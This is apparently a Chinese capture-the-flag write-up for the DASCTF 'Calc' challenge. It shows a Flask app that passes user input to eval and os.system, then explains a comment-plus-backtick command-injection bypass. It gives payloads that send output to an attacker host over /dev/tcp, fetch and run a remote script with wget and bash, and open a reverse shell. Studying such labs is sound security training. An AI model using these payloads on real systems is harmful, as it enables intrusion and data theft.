2022DASCTF X SU 三月春季挑战赛 Calc

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#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    num=1#`ls`

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)

首先放出源码

然后观察可以知道，对num的过滤极其严格，所以突破口并不在num上，自然而然想到突破口应该是log

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

程序会将num插入到log字符串的最后然后先后执行 eval（num）和os.system（log）。

我们要想办法在第二个函数上执行但是要避免在eval函数中报错以导致程序不会进行下一步。基于python特性想到了用#注释。

然后就可以使用`代码`来优先执行，其实$（）有相同作用但是被过滤了。

接下来有多种方法我挨个尝试。

1 输出重定向到攻击机

payload：calc?num=1%23`ls%09>/dev/tcp/IP/2333`

直接将输出重定向到攻击机 因为空格被过滤所以用制表符

然后直接打开这个文件即可

2 命令行反弹

因为&被过滤不能直接用

bash -i >& /dev/tcp/IP/2333 0>&1

所以现在本地用python写一个文件，然后开启服务器

让目标机读取本机上的文件并执行即可。（哦别忘了在云服务器上安全组开启端口）

ok 这就结束了

payload：

calc?num=1%23`wget%09http://Ip/log.sh`

calc?num=1%23`bash%09log.sh`

第二种方法结束。

还有其他避开eval报错得到方法还可以去学习